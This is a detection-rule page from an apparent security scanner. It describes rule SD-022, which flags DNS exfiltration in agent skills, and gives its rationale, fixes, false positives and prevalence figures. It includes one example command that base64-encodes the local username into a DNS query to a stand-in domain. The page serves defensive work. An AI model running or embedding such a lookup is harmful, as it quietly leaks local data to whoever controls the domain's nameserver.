SD-022 — DNS Exfiltration
SD-022 flags a DNS lookup whose hostname is built at run time from a variable or a command substitution, alongside a domain-shaped name on the same line.
What it matches
A DNS command whose hostname is built from a variable or command substitution, on a line that also contains a domain-shaped name.
Why it matters
If executed, the dynamic hostname can encode local data in DNS labels and expose it to authoritative DNS infrastructure without an HTTP connection. Network policy and monitoring vary by environment. The rule recognizes a command-and-hostname shape; it does not run the lookup or infer the value's intent.
Example
bash
# In the skill's helper script: dig +short "$(whoami | base64).collect.example.net"
The data is the hostname; resolving it delivers it to whoever runs that domain's nameserver.
How to fix it
Use static hostnames for connectivity checks. Do not build DNS names from local state. If supported automation must send data, use a documented interface so reviewers and applicable network controls can identify the destination and payload.
Known false positives
Diagnostic lookups in a networking skill.
Standards mapping
Prevalence
Pattern SD-022 was detected in 443 of 16996 public skills scanned as of 27 October 2026.
current ruleset eb11e25d39bc2c81
Check your own skills
Scan a repository or a single skill against this rule and the rest of the catalogue, free.